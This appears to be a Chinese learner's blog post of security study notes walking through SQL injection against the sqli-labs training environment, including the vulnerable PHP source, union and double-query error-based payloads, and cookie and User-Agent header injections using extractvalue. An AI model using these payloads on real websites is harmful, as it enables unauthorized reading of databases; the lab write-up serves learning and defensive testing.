• 网安学习Day14(web漏洞-SQL注入类型及提交注入)



    在这里插入图片描述

    简要明确参数类型

    • 数字,字符,搜索,JSON等
    • 数字—id=1为数字型,int、float、double
    mysql> select * from emails where id=1;
    ERROR 2006 (HY000): MySQL server has gone away
    No connection. Trying to reconnect...
    Connection id:    5
    Current database: security
    
    +----+------------------+
    | id | email_id         |
    +----+------------------+
    |  1 | Dumb@dhakkan.com |
    +----+------------------+
    1 row in set (0.05 sec)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 字符和字符串的搜索必须加上’’
    mysql> select * from emails where email_id=Dumb@dhakkan.com;
    ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@dhakkan.com' at line 1
    mysql> select * from emails where email_id='Dumb@dhakkan.com';
    +----+------------------+
    | id | email_id         |
    +----+------------------+
    |  1 | Dumb@dhakkan.com |
    +----+------------------+
    1 row in set (0.01 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

      $name=$_get[‘x’];
    
      $sql=” select * from user where name=’$name’”; 
    
    • 1
    • 2
    • 3

    如果注入语句: ?x=xiaodi and 1=1
    数据库查询语句:select * from user where name=‘xiaodi and 1=1’;使得查询语句失效
    正确的注入语句: x=xiaodi’and 1=’1

    简要明确请求方法

    GET, POST,COOKIE,REQUEST,HTTP头等
    其中sql语句干扰符号: ',",s,),}等,具体需看写法
    可能有些网站是以Request的方式接受参数,所以GET和POST都行
    注入的地方可能在User-Agent上,关键是看是否带入数据库查询。

    参数字符型注入测试=>sqlilabs less 5 6

    sqlilabs less 5

    less 5为Double Injection

    • 双查询注入:是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

    • rand()随机函数,返回0~1之间的某个值

    • floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

    • count()聚合函数也称作计数函数,返回查询对象的总数

    • group by cluase分组语句,按照cluase对查询结果分组

    • 双注入破解原理:组合利用count(), group by, floor(),能够将查询的一部分以报错的形式显现出来。

    • 双注入的公式:

      • select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
        **

    • 正常页面
      在这里插入图片描述
      判断注入点时候发现输入?id=1 and 1=2没有任何反应
      在这里插入图片描述

    而less-2输入确实这样
    在这里插入图片描述
    访问less-5的index.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Less-5 Double Query- Single Quotes- String</title>
    </head>
    
    <body bgcolor="#000000">
    <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
    <font size="3" color="#FFFF00">
    
    
    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    // connectivity 
    
    
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    	if($row)
    	{
      	echo '';	
      	echo 'You are in...........';
      	echo "
    "
    ; echo "
    "; } else { echo ''; print_r(mysql_error()); echo "
    "; echo ''; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-5.jpg" /></center> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    发现参数在传递过程中,加了’id’
    在这里插入图片描述

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    
    • 1
    • 2

    //SQL执行的语句是采用了’'闭合,
    //我们要是直接使用?id=1 and 1=1相当于执行的是SELECT * FROM users WHERE id=‘1 and 1=1’ LIMIT 0,1;是不会有任何的反应。
    所以less-5在注入的时候应该输入?‘id=1’

    报错语句:
    http://10.1.1.133/Less-5/?id=1' and '1'='1
    http://10.1.1.133/Less-5/?id=1' and '1'='2
    在这里插入图片描述
    在这里插入图片描述
    数据库相关操作:

    mysql> SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    mysql> SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1;
    Empty set (0.00 sec)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • order by 猜解
      • oder by 4
        在这里插入图片描述

    '- -+'是将后面的代码注释不执行。加入“ ‘ ”后出现语法错误,说明sql语句中的id加上引号进行了闭合,使我们无法查询到信息。在后面加“-–+” 把后面的语句注释掉,这样子sql语句就会形成闭合

    数据库操作:

    mysql>  SELECT * FROM users WHERE id='1' order by 4;
    ERROR 1054 (42S22): Unknown column '4' in 'order clause'
    mysql>  SELECT * FROM users WHERE id='1' order by 3;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    利用语句查询信息:

    ?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+     
    
    • 1

    在这里插入图片描述

    查询security库下的表名:
    http://127.0.0.1/Less-5/?id=1%27%20union%20select%201,%20count(*),%20concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),%20%27---%27,%20floor(rand(0)*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%20--+
    在这里插入图片描述

    sqlilabs less 6

    判断是字符型注入还是数字型注入

    ?id=1 and 1=1
    ?id=1 and 1=2
    
    • 1
    • 2

    在这里插入图片描述

    区别一样。所以不是数字型注入
    尝试单引号和双引号
    在这里插入图片描述

    在这里插入图片描述
    所以less6的注入类型为:是双引号字符型注入

    也可以通过查看index.php判断
    在这里插入图片描述

    • 采用双引号的方式进行了编码,绕过方法"闭合前面的引号后面采用‘- -+’注释
      在这里插入图片描述

    POST数据提交注入测试=>sqlilabs less 11

    • 原理:表单通过post传输数据,然后查询数据库比对,如果匹配则登录。因此,符合注入的条件
      打开less-10

    bp抓包
    在这里插入图片描述
    在这里插入图片描述
    查看index.php uname和passwd为单引号
    这里添加一个echo回显
    在这里插入图片描述
    利用上述方法判断什么类型注入。为字符型
    再用order by猜解个数
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    有三个
    联合查询进行信息收集
    在这里插入图片描述
    在这里插入图片描述
    其他操作同理

    参数JSON数据注入测试=>本地环境代码演示

    json格式
    在这里插入图片描述

    json注入
    在这里插入图片描述注入方式:如果是数字的可以不加’闭合如果是字符的话,加上"闭合

    COOKIE数据提交注入测试=>sqlilabs less 20

    随便输入一个用户名密码,bp抓包然后发送到repeater重发器
    在这里插入图片描述
    修改cookie为Cookie: uname=admin' and 1=2 union select database(),2,3 #
    在这里插入图片描述

    HTTP头部参数数据注入测试=>sqlilabs less 18

    在配置文件中添加一行显示SQL语句执行的显示界面
    在这里插入图片描述
    bp抓包发送到重发器
    在这里插入图片描述

    修改数据包注入获取数据库名称 :'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
    在这里插入图片描述
    修改用户代理 User-Agent: ' and extractvalue (1,concat(0x7e,(select user()),0x7e)) and '
    在这里插入图片描述

  • 相关阅读:
    RT-Thread内核快速入门,内核实现与应用开发学习随笔记
    “高级Java注解的简介及应用“
    [附源码]Python计算机毕业设计SSM乐多多宠物店网站(程序+LW)
    微擎模块 超人跑腿 1.7.1 后台模块+前端小程序,后台新增代办,代驾,家政模板自定义
    lable与input连用特殊动作效果
    《Python语言程序设计》刘卫国主编字典与集合习题7详解(选择)
    过滤器的说明》
    操作系统-死锁,锁
    智能位移监测,更新传统井盖的功能
    微服务设计和高并发实践
  • 原文地址:https://blog.csdn.net/m0_57485346/article/details/128032148